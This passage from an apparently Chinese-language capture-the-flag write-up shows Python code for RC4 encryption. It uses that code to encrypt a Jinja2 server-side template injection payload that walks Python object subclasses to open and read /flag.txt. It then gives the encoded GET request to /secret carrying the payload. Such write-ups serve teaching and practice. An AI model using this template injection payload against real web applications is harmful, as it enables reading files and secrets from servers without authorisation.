s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
#print("加密后的输出(经过编码):")
#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
使用的模版注入payload为
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}
运行后得到需要传递的参数为:
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92
则
GET
/secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92
Comments | NOTHING